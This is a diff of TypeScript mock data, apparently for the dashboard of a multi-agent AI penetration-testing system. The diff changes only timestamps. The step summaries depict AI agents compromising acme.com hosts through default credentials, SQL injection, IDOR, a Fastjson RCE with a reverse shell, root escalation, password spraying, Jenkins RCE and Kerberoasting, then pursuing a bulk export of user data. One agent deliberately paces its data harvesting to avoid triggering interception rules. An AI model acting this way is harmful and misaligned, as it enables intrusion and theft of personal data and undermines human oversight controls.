- ts: T("2026-07-26T03:55:00Z"),
+ ts: T("2026-11-14T03:55:00Z"),
kind: "round",
summary: "Round 4 · Admin goal met, converging on g2",
},
{
seq: 1401,
worker: "planner",
- ts: T("2026-07-26T03:55:14Z"),
+ ts: T("2026-11-14T03:55:14Z"),
kind: "thinking",
summary:
"Comparing recent_facts: work#2 used Acme@2021 from faCreds to break into the admin console (i2 done); admin access is in hand — g1's acceptance is met, so prove_goal stamps it first. Then a [quantitative acceptance check]: g2 'Read user sensitive data' currently only has i3/i5 touching the API surface without actually obtaining bulk data; measured as not met, prove_goal is [forbidden] — instead raise priorities and supplement data-retrieval intents.",
@@ -1578,7 +1582,7 @@ export const activity: Activity[] = [
{
seq: 1402,
worker: "planner",
- ts: T("2026-07-26T03:55:26Z"),
+ ts: T("2026-11-14T03:55:26Z"),
kind: "tool_use",
tool: "prove_goal",
tool_use_id: "p4-pg",
@@ -1589,7 +1593,7 @@ export const activity: Activity[] = [
{
seq: 1403,
worker: "planner",
- ts: T("2026-07-26T03:55:28Z"),
+ ts: T("2026-11-14T03:55:28Z"),
kind: "tool_result",
tool: "prove_goal",
tool_use_id: "p4-pg",
@@ -1598,7 +1602,7 @@ export const activity: Activity[] = [
{
seq: 1404,
worker: "planner",
- ts: T("2026-07-26T03:55:40Z"),
+ ts: T("2026-11-14T03:55:40Z"),
kind: "thinking",
summary:
"g2 quantitative check: the goal's 'Read user sensitive data' = actually obtaining bulk user records. findings in graph_overview has no 'user data exported' entry yet, and i3/i5 are both running with no retrieval results back — measured as not met. Marking met early on 'the console is entered, broadly done' is strictly forbidden; keep dispatching intents to close the gap.",
@@ -1606,7 +1610,7 @@ export const activity: Activity[] = [
{
seq: 1405,
worker: "planner",
- ts: T("2026-07-26T03:55:52Z"),
+ ts: T("2026-11-14T03:55:52Z"),
kind: "tool_use",
tool: "add_intent",
tool_use_id: "p4-ai",
@@ -1617,7 +1621,7 @@ export const activity: Activity[] = [
{
seq: 1406,
worker: "planner",
- ts: T("2026-07-26T03:55:54Z"),
+ ts: T("2026-11-14T03:55:54Z"),
kind: "tool_result",
tool: "add_intent",
tool_use_id: "p4-ai",
@@ -1626,7 +1630,7 @@ export const activity: Activity[] = [
{
seq: 1407,
worker: "planner",
- ts: T("2026-07-26T03:55:58Z"),
+ ts: T("2026-11-14T03:55:58Z"),
kind: "text",
summary:
"g1 met (3 of 4 already met: g1/g3/g4). g2 strictly follows quantitative acceptance — merely entering the console does not count; bulk user data must be obtained before stamping it; i3/i5 are raised to priority 9 and refined into retrieval intents, and the whole task wraps up once workers report back.",
@@ -1637,7 +1641,7 @@ export const activity: Activity[] = [
seq: 10,
worker: "work#1",
intent_id: "i1",
- ts: T("2026-07-24T09:20:00Z"),
+ ts: T("2026-11-12T09:20:00Z"),
kind: "thinking",
summary: "First passively recon subdomains, then identify ports/services on alive hosts.",
},
@@ -1645,7 +1649,7 @@ export const activity: Activity[] = [
seq: 11,
worker: "work#1",
intent_id: "i1",
- ts: T("2026-07-24T09:20:30Z"),
+ ts: T("2026-11-12T09:20:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11",
@@ -1655,7 +1659,7 @@ export const activity: Activity[] = [
seq: 12,
worker: "work#1",
intent_id: "i1",
- ts: T("2026-07-24T09:22:10Z"),
+ ts: T("2026-11-12T09:22:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11",
@@ -1667,7 +1671,7 @@ export const activity: Activity[] = [
seq: 13,
worker: "work#1",
intent_id: "i1",
- ts: T("2026-07-24T09:23:00Z"),
+ ts: T("2026-11-12T09:23:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12",
@@ -1677,7 +1681,7 @@ export const activity: Activity[] = [
seq: 14,
worker: "work#1",
intent_id: "i1",
- ts: T("2026-07-24T09:26:40Z"),
+ ts: T("2026-11-12T09:26:40Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12",
@@ -1688,7 +1692,7 @@ export const activity: Activity[] = [
seq: 15,
worker: "work#1",
intent_id: "i1",
- ts: T("2026-07-24T09:27:00Z"),
+ ts: T("2026-11-12T09:27:00Z"),
kind: "tool_use",
tool: "upsert_asset",
tool_use_id: "t13",
@@ -1698,7 +1702,7 @@ export const activity: Activity[] = [
seq: 16,
worker: "work#1",
intent_id: "i1",
- ts: T("2026-07-24T09:27:01Z"),
+ ts: T("2026-11-12T09:27:01Z"),
kind: "tool_result",
tool: "upsert_asset",
tool_use_id: "t13",
@@ -1708,7 +1712,7 @@ export const activity: Activity[] = [
seq: 17,
worker: "work#1",
intent_id: "i1",
- ts: T("2026-07-24T09:40:00Z"),
+ ts: T("2026-11-12T09:40:00Z"),
kind: "result",
summary: "Asset reconnaissance complete; the admin console admin.acme.com was discovered and handed back to the graph.",
input_tokens: 96000,
@@ -1722,7 +1726,7 @@ export const activity: Activity[] = [
seq: 20,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:31:00Z"),
+ ts: T("2026-11-14T03:31:00Z"),
kind: "thinking",
summary: "The admin console is Element-UI; the login endpoint has no captcha and no rate limit. Try the default credential list first, then dictionaries.",
},
@@ -1730,7 +1734,7 @@ export const activity: Activity[] = [
seq: 21,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:32:00Z"),
+ ts: T("2026-11-14T03:32:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t21",
@@ -1740,7 +1744,7 @@ export const activity: Activity[] = [
seq: 22,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:32:03Z"),
+ ts: T("2026-11-14T03:32:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t21",
@@ -1751,7 +1755,7 @@ export const activity: Activity[] = [
seq: 23,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:32:30Z"),
+ ts: T("2026-11-14T03:32:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t22",
@@ -1761,7 +1765,7 @@ export const activity: Activity[] = [
seq: 24,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:32:33Z"),
+ ts: T("2026-11-14T03:32:33Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t22",
@@ -1772,7 +1776,7 @@ export const activity: Activity[] = [
seq: 25,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:33:10Z"),
+ ts: T("2026-11-14T03:33:10Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t23",
@@ -1782,7 +1786,7 @@ export const activity: Activity[] = [
seq: 26,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:33:12Z"),
+ ts: T("2026-11-14T03:33:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t23",
@@ -1793,7 +1797,7 @@ export const activity: Activity[] = [
seq: 27,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:34:00Z"),
+ ts: T("2026-11-14T03:34:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t24",
@@ -1803,7 +1807,7 @@ export const activity: Activity[] = [
seq: 28,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:34:01Z"),
+ ts: T("2026-11-14T03:34:01Z"),
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t24",
@@ -1813,7 +1817,7 @@ export const activity: Activity[] = [
seq: 29,
worker: "work#2",
intent_id: "i2",
- ts: T("2026-07-26T03:50:00Z"),
+ ts: T("2026-11-14T03:50:00Z"),
kind: "result",
summary: "Admin default credentials confirmed; goal (1) met.",
input_tokens: 72000,
@@ -1827,7 +1831,7 @@ export const activity: Activity[] = [
seq: 40,
worker: "work#4",
intent_id: "i4",
- ts: T("2026-07-25T22:01:00Z"),
+ ts: T("2026-11-13T22:01:00Z"),
kind: "thinking",
summary: "The search?q= result page concatenates q into the title; add a single quote manually first to see the error.",
},
@@ -1835,7 +1839,7 @@ export const activity: Activity[] = [
seq: 41,
worker: "work#4",
intent_id: "i4",
- ts: T("2026-07-25T22:02:00Z"),
+ ts: T("2026-11-13T22:02:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t41",
@@ -1845,7 +1849,7 @@ export const activity: Activity[] = [
seq: 42,
worker: "work#4",
intent_id: "i4",
- ts: T("2026-07-25T22:02:04Z"),
+ ts: T("2026-11-13T22:02:04Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t41",
@@ -1856,7 +1860,7 @@ export const activity: Activity[] = [
seq: 43,
worker: "work#4",
intent_id: "i4",
- ts: T("2026-07-25T22:03:00Z"),
+ ts: T("2026-11-13T22:03:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t42",
@@ -1866,7 +1870,7 @@ export const activity: Activity[] = [
seq: 44,
worker: "work#4",
intent_id: "i4",
- ts: T("2026-07-26T01:18:00Z"),
+ ts: T("2026-11-14T01:18:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t42",
@@ -1878,7 +1882,7 @@ export const activity: Activity[] = [
seq: 45,
worker: "work#4",
intent_id: "i4",
- ts: T("2026-07-26T01:19:00Z"),
+ ts: T("2026-11-14T01:19:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t43",
@@ -1888,7 +1892,7 @@ export const activity: Activity[] = [
seq: 46,
worker: "work#4",
intent_id: "i4",
- ts: T("2026-07-26T01:19:01Z"),
+ ts: T("2026-11-14T01:19:01Z"),
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t43",
@@ -1898,7 +1902,7 @@ export const activity: Activity[] = [
seq: 47,
worker: "work#4",
intent_id: "i4",
- ts: T("2026-07-26T01:20:00Z"),
+ ts: T("2026-11-14T01:20:00Z"),
kind: "result",
summary: "SQL injection confirmed.",
input_tokens: 118000,
@@ -1912,7 +1916,7 @@ export const activity: Activity[] = [
seq: 50,
worker: "work#5",
intent_id: "i5",
- ts: T("2026-07-26T02:31:00Z"),
+ ts: T("2026-11-14T02:31:00Z"),
kind: "thinking",
summary: "/v1/orders?id= is a numeric auto-increment id, a typical IDOR surface. Fetch your own order first, then change the id to see if others' can be read.",
},
@@ -1920,7 +1924,7 @@ export const activity: Activity[] = [
seq: 51,
worker: "work#5",
intent_id: "i5",
- ts: T("2026-07-26T02:40:00Z"),
+ ts: T("2026-11-14T02:40:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t51",
@@ -1930,7 +1934,7 @@ export const activity: Activity[] = [
seq: 52,
worker: "work#5",
intent_id: "i5",
- ts: T("2026-07-26T02:40:02Z"),
+ ts: T("2026-11-14T02:40:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t51",
@@ -1941,7 +1945,7 @@ export const activity: Activity[] = [
seq: 53,
worker: "work#5",
intent_id: "i5",
- ts: T("2026-07-26T02:43:00Z"),
+ ts: T("2026-11-14T02:43:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t52",
@@ -1951,7 +1955,7 @@ export const activity: Activity[] = [
seq: 54,
worker: "work#5",
intent_id: "i5",
- ts: T("2026-07-26T02:43:02Z"),
+ ts: T("2026-11-14T02:43:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t52",
@@ -1962,7 +1966,7 @@ export const activity: Activity[] = [
seq: 55,
worker: "work#5",
intent_id: "i5",
- ts: T("2026-07-26T02:44:00Z"),
+ ts: T("2026-11-14T02:44:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t53",
@@ -1972,7 +1976,7 @@ export const activity: Activity[] = [
seq: 56,
worker: "work#5",
intent_id: "i5",
- ts: T("2026-07-26T02:44:01Z"),
+ ts: T("2026-11-14T02:44:01Z"),
kind: "tool_result",
tool: "report_finding",
tool_use_id: "t53",
@@ -1982,7 +1986,7 @@ export const activity: Activity[] = [
seq: 57,
worker: "work#5",
intent_id: "i5",
- ts: T("2026-07-26T03:58:10Z"),
+ ts: T("2026-11-14T03:58:10Z"),
kind: "thinking",
summary: "Iterating the id range in bulk to size the unauthorized data exposure (not exporting yet, to avoid triggering interception rules).",
},
@@ -1992,7 +1996,7 @@ export const activity: Activity[] = [
seq: 60,
worker: "work#3",
intent_id: "i3",
- ts: T("2026-07-26T03:56:00Z"),
+ ts: T("2026-11-14T03:56:00Z"),
kind: "thinking",
summary: "With an admin session in hand, enumerate management APIs to find an entry that can bulk-export user sensitive data (goal 2).",
},
@@ -2000,7 +2004,7 @@ export const activity: Activity[] = [
seq: 61,
worker: "work#3",
intent_id: "i3",
- ts: T("2026-07-26T03:57:00Z"),
+ ts: T("2026-11-14T03:57:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t61",
@@ -2010,7 +2014,7 @@ export const activity: Activity[] = [
seq: 62,
worker: "work#3",
intent_id: "i3",
- ts: T("2026-07-26T03:57:02Z"),
+ ts: T("2026-11-14T03:57:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t61",
@@ -2021,7 +2025,7 @@ export const activity: Activity[] = [
seq: 63,
worker: "work#3",
intent_id: "i3",
- ts: T("2026-07-26T03:58:20Z"),
+ ts: T("2026-11-14T03:58:20Z"),
kind: "thinking",
summary: "A bulk user data read entry is confirmed; the export action hit destructive/exfiltration rules and an interception approval has been submitted awaiting an allow decision.",
},
@@ -2031,7 +2035,7 @@ export const activity: Activity[] = [
seq: 310,
worker: "workG",
intent_id: "ig",
- ts: T("2026-07-25T20:26:00Z"),
+ ts: T("2026-11-13T20:26:00Z"),
kind: "thinking",
summary: "robots.txt mentions /.git; probe whether the directory is downloadable first — with the source, injection points and hardcoded keys can be found white-box.",
},
@@ -2039,7 +2043,7 @@ export const activity: Activity[] = [
seq: 311,
worker: "workG",
intent_id: "ig",
- ts: T("2026-07-25T20:27:00Z"),
+ ts: T("2026-11-13T20:27:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg1",
@@ -2049,7 +2053,7 @@ export const activity: Activity[] = [
seq: 312,
worker: "workG",
intent_id: "ig",
- ts: T("2026-07-25T20:27:02Z"),
+ ts: T("2026-11-13T20:27:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg1",
@@ -2060,7 +2064,7 @@ export const activity: Activity[] = [
seq: 313,
worker: "workG",
intent_id: "ig",
- ts: T("2026-07-25T20:28:00Z"),
+ ts: T("2026-11-13T20:28:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg2",
@@ -2070,7 +2074,7 @@ export const activity: Activity[] = [
seq: 314,
worker: "workG",
intent_id: "ig",
- ts: T("2026-07-25T20:30:00Z"),
+ ts: T("2026-11-13T20:30:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg2",
@@ -2081,7 +2085,7 @@ export const activity: Activity[] = [
seq: 315,
worker: "workG",
intent_id: "ig",
- ts: T("2026-07-25T20:34:00Z"),
+ ts: T("2026-11-13T20:34:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg3",
@@ -2091,7 +2095,7 @@ export const activity: Activity[] = [
seq: 316,
worker: "workG",
intent_id: "ig",
- ts: T("2026-07-25T20:34:03Z"),
+ ts: T("2026-11-13T20:34:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg3",
@@ -2102,7 +2106,7 @@ export const activity: Activity[] = [
seq: 317,
worker: "workG",
intent_id: "ig",
- ts: T("2026-07-25T20:36:00Z"),
+ ts: T("2026-11-13T20:36:00Z"),
kind: "result",
summary: "Source leak + hardcoded DB credentials confirmed; credentials entered the graph for later internal reuse.",
input_tokens: 88000,
@@ -2116,7 +2120,7 @@ export const activity: Activity[] = [
seq: 320,
worker: "work#6",
intent_id: "i6",
- ts: T("2026-07-25T14:22:00Z"),
+ ts: T("2026-11-13T14:22:00Z"),
kind: "thinking",
summary: "shop.acme.com is an in-house e-commerce site; fingerprint the framework/component versions first, then target components with known deserialization issues.",
},
@@ -2124,7 +2128,7 @@ export const activity: Activity[] = [
seq: 321,
worker: "work#6",
intent_id: "i6",
- ts: T("2026-07-25T14:24:00Z"),
+ ts: T("2026-11-13T14:24:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t6a",
@@ -2134,7 +2138,7 @@ export const activity: Activity[] = [
seq: 322,
worker: "work#6",
intent_id: "i6",
- ts: T("2026-07-25T14:24:03Z"),
+ ts: T("2026-11-13T14:24:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t6a",
@@ -2145,7 +2149,7 @@ export const activity: Activity[] = [
seq: 323,
worker: "work#6",
intent_id: "i6",
- ts: T("2026-07-25T14:30:00Z"),
+ ts: T("2026-11-13T14:30:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t6b",
@@ -2156,7 +2160,7 @@ export const activity: Activity[] = [
seq: 324,
worker: "work#6",
intent_id: "i6",
- ts: T("2026-07-25T14:31:00Z"),
+ ts: T("2026-11-13T14:31:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t6b",
@@ -2167,7 +2171,7 @@ export const activity: Activity[] = [
seq: 325,
worker: "work#6",
intent_id: "i6",
- ts: T("2026-07-25T14:40:00Z"),
+ ts: T("2026-11-13T14:40:00Z"),
kind: "result",
summary: "Fingerprint matched Fastjson 1.2.24; the deserialization RCE surface is established and handed to the exploitation intent.",
input_tokens: 64000,
@@ -2181,7 +2185,7 @@ export const activity: Activity[] = [
seq: 330,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:12:00Z"),
+ ts: T("2026-11-13T15:12:00Z"),
kind: "thinking",
summary: "Stand up a rogue JNDI/LDAP service and have shop call back to load and execute the payload; verify egress with dnslog first, then land a reverse shell.",
},
@@ -2189,7 +2193,7 @@ export const activity: Activity[] = [
seq: 331,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:15:00Z"),
+ ts: T("2026-11-13T15:15:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7a",
@@ -2199,7 +2203,7 @@ export const activity: Activity[] = [
seq: 332,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:16:00Z"),
+ ts: T("2026-11-13T15:16:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7a",
@@ -2210,7 +2214,7 @@ export const activity: Activity[] = [
seq: 333,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:20:00Z"),
+ ts: T("2026-11-13T15:20:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7b",
@@ -2221,7 +2225,7 @@ export const activity: Activity[] = [
seq: 334,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:21:00Z"),
+ ts: T("2026-11-13T15:21:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7b",
@@ -2232,7 +2236,7 @@ export const activity: Activity[] = [
seq: 335,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:24:00Z"),
+ ts: T("2026-11-13T15:24:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7c",
@@ -2242,7 +2246,7 @@ export const activity: Activity[] = [
seq: 336,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:24:02Z"),
+ ts: T("2026-11-13T15:24:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7c",
@@ -2253,7 +2257,7 @@ export const activity: Activity[] = [
seq: 337,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:30:00Z"),
+ ts: T("2026-11-13T15:30:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t7d",
@@ -2263,7 +2267,7 @@ export const activity: Activity[] = [
seq: 338,
worker: "work#7",
intent_id: "i7",
- ts: T("2026-07-25T15:40:00Z"),
+ ts: T("2026-11-13T15:40:00Z"),
kind: "result",
summary: "The deserialization RCE obtained a www-data reverse shell; goal 3's foothold is initially established.",
input_tokens: 132000,
@@ -2277,7 +2281,7 @@ export const activity: Activity[] = [
seq: 340,
worker: "work#8",
intent_id: "i8",
- ts: T("2026-07-25T16:02:00Z"),
+ ts: T("2026-11-13T16:02:00Z"),
kind: "thinking",
summary: "www-data is limited; gather local information first to find escalation paths: sudo config, SUID, kernel version.",
},
@@ -2285,7 +2289,7 @@ export const activity: Activity[] = [
seq: 341,
worker: "work#8",
intent_id: "i8",
- ts: T("2026-07-25T16:05:00Z"),
+ ts: T("2026-11-13T16:05:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t8a",
@@ -2295,7 +2299,7 @@ export const activity: Activity[] = [
seq: 342,
worker: "work#8",
intent_id: "i8",
- ts: T("2026-07-25T16:05:03Z"),
+ ts: T("2026-11-13T16:05:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t8a",
@@ -2306,7 +2310,7 @@ export const activity: Activity[] = [
seq: 343,
worker: "work#8",
intent_id: "i8",
- ts: T("2026-07-25T16:10:00Z"),
+ ts: T("2026-11-13T16:10:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t8b",
@@ -2316,7 +2320,7 @@ export const activity: Activity[] = [
seq: 344,
worker: "work#8",
intent_id: "i8",
- ts: T("2026-07-25T16:10:02Z"),
+ ts: T("2026-11-13T16:10:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t8b",
@@ -2327,7 +2331,7 @@ export const activity: Activity[] = [
seq: 345,
worker: "work#8",
intent_id: "i8",
- ts: T("2026-07-25T16:14:00Z"),
+ ts: T("2026-11-13T16:14:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t8c",
@@ -2337,7 +2341,7 @@ export const activity: Activity[] = [
seq: 346,
worker: "work#8",
intent_id: "i8",
- ts: T("2026-07-25T16:20:00Z"),
+ ts: T("2026-11-13T16:20:00Z"),
kind: "result",
summary: "Local escalation to root complete and the foothold is solid; ready to pivot internally from it.",
input_tokens: 74000,
@@ -2351,7 +2355,7 @@ export const activity: Activity[] = [
seq: 350,
worker: "work#9",
intent_id: "i9",
- ts: T("2026-07-25T20:32:00Z"),
+ ts: T("2026-11-13T20:32:00Z"),
kind: "thinking",
summary: "The foothold connects directly to 10.10.10.0/24; use fscan/internal scanning for host and port discovery to pin down the domain controller and high-value hosts.",
},
@@ -2359,7 +2363,7 @@ export const activity: Activity[] = [
seq: 351,
worker: "work#9",
intent_id: "i9",
- ts: T("2026-07-25T20:36:00Z"),
+ ts: T("2026-11-13T20:36:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t9a",
@@ -2369,7 +2373,7 @@ export const activity: Activity[] = [
seq: 352,
worker: "work#9",
intent_id: "i9",
- ts: T("2026-07-25T20:55:00Z"),
+ ts: T("2026-11-13T20:55:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t9a",
@@ -2380,7 +2384,7 @@ export const activity: Activity[] = [
seq: 353,
worker: "work#9",
intent_id: "i9",
- ts: T("2026-07-25T21:00:00Z"),
+ ts: T("2026-11-13T21:00:00Z"),
kind: "result",
summary: "Internal host discovery complete; 3 high-value targets entered the graph.",
input_tokens: 82000,
@@ -2394,7 +2398,7 @@ export const activity: Activity[] = [
seq: 360,
worker: "work#10",
intent_id: "i10",
- ts: T("2026-07-26T03:42:00Z"),
+ ts: T("2026-11-14T03:42:00Z"),
kind: "thinking",
summary: "The leaked sa/Acme@2021 is a DB password, and password reuse is common in companies. Password-spray DC01/FS01/JENKINS.",
},
@@ -2402,7 +2406,7 @@ export const activity: Activity[] = [
seq: 361,
worker: "work#10",
intent_id: "i10",
- ts: T("2026-07-26T03:44:00Z"),
+ ts: T("2026-11-14T03:44:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t10a",
@@ -2412,7 +2416,7 @@ export const activity: Activity[] = [
seq: 362,
worker: "work#10",
intent_id: "i10",
- ts: T("2026-07-26T03:44:10Z"),
+ ts: T("2026-11-14T03:44:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t10a",
@@ -2423,7 +2427,7 @@ export const activity: Activity[] = [
seq: 363,
worker: "work#10",
intent_id: "i10",
- ts: T("2026-07-26T03:50:00Z"),
+ ts: T("2026-11-14T03:50:00Z"),
kind: "thinking",
summary: "FS01 is taken; enumerating shared directories for more credentials and sensitive files...",
},
@@ -2433,7 +2437,7 @@ export const activity: Activity[] = [
seq: 370,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:32:00Z"),
+ ts: T("2026-11-13T21:32:00Z"),
kind: "thinking",
summary: "JENKINS 8080 is directly reachable; check whether the /script console requires authentication first.",
},
@@ -2441,7 +2445,7 @@ export const activity: Activity[] = [
seq: 371,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:35:00Z"),
+ ts: T("2026-11-13T21:35:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11a",
@@ -2451,7 +2455,7 @@ export const activity: Activity[] = [
seq: 372,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:35:02Z"),
+ ts: T("2026-11-13T21:35:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11a",
@@ -2462,7 +2466,7 @@ export const activity: Activity[] = [
seq: 373,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:40:00Z"),
+ ts: T("2026-11-13T21:40:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11b",
@@ -2472,7 +2476,7 @@ export const activity: Activity[] = [
seq: 374,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:40:03Z"),
+ ts: T("2026-11-13T21:40:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11b",
@@ -2483,7 +2487,7 @@ export const activity: Activity[] = [
seq: 375,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:44:00Z"),
+ ts: T("2026-11-13T21:44:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11c",
@@ -2493,7 +2497,7 @@ export const activity: Activity[] = [
seq: 376,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:45:00Z"),
+ ts: T("2026-11-13T21:45:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11c",
@@ -2504,7 +2508,7 @@ export const activity: Activity[] = [
seq: 377,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:48:00Z"),
+ ts: T("2026-11-13T21:48:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t11d",
@@ -2514,7 +2518,7 @@ export const activity: Activity[] = [
seq: 378,
worker: "work#11",
intent_id: "i11",
- ts: T("2026-07-25T21:50:00Z"),
+ ts: T("2026-11-13T21:50:00Z"),
kind: "result",
summary: "Unauthenticated Jenkins RCE confirmed, with two domain service account credentials exported.",
input_tokens: 96000,
@@ -2528,7 +2532,7 @@ export const activity: Activity[] = [
seq: 380,
worker: "work#12",
intent_id: "i12",
- ts: T("2026-07-25T22:42:00Z"),
+ ts: T("2026-11-13T22:42:00Z"),
kind: "thinking",
summary: "Authenticate to the domain with the svc_deploy credentials, then GetUserSPNs requests TGS for Kerberoastable service accounts.",
},
@@ -2536,7 +2540,7 @@ export const activity: Activity[] = [
seq: 381,
worker: "work#12",
intent_id: "i12",
- ts: T("2026-07-25T22:50:00Z"),
+ ts: T("2026-11-13T22:50:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12a",
@@ -2546,7 +2550,7 @@ export const activity: Activity[] = [
seq: 382,
worker: "work#12",
intent_id: "i12",
- ts: T("2026-07-25T22:52:00Z"),
+ ts: T("2026-11-13T22:52:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12a",
@@ -2557,7 +2561,7 @@ export const activity: Activity[] = [
seq: 383,
worker: "work#12",
intent_id: "i12",
- ts: T("2026-07-25T23:10:00Z"),
+ ts: T("2026-11-13T23:10:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12b",
@@ -2567,7 +2571,7 @@ export const activity: Activity[] = [
seq: 384,
worker: "work#12",
intent_id: "i12",
- ts: T("2026-07-25T23:18:00Z"),
+ ts: T("2026-11-13T23:18:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12b",
@@ -2578,7 +2582,7 @@ export const activity: Activity[] = [
seq: 385,
worker: "work#12",
intent_id: "i12",
- ts: T("2026-07-25T23:19:00Z"),
+ ts: T("2026-11-13T23:19:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t12c",
@@ -2588,7 +2592,7 @@ export const activity: Activity[] = [
seq: 386,
worker: "work#12",
intent_id: "i12",
- ts: T("2026-07-25T23:20:00Z"),
+ ts: T("2026-11-13T23:20:00Z"),
kind: "result",
summary: "Kerberoasting cracked svc_sql's password; entered the graph for use against the domain controller.",
input_tokens: 108000,
@@ -2602,7 +2606,7 @@ export const activity: Activity[] = [
seq: 390,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-25T23:52:00Z"),
+ ts: T("2026-11-13T23:52:00Z"),
kind: "thinking",
summary: "svc_deploy came from the Jenkins credentials store; check group membership first — if it is in Domain Admins, psexec to DC01 directly.",
},
@@ -2610,7 +2614,7 @@ export const activity: Activity[] = [
seq: 391,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-25T23:55:00Z"),
+ ts: T("2026-11-13T23:55:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13a",
@@ -2620,7 +2624,7 @@ export const activity: Activity[] = [
seq: 392,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-25T23:55:05Z"),
+ ts: T("2026-11-13T23:55:05Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13a",
@@ -2631,7 +2635,7 @@ export const activity: Activity[] = [
seq: 393,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-26T00:00:00Z"),
+ ts: T("2026-11-14T00:00:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13b",
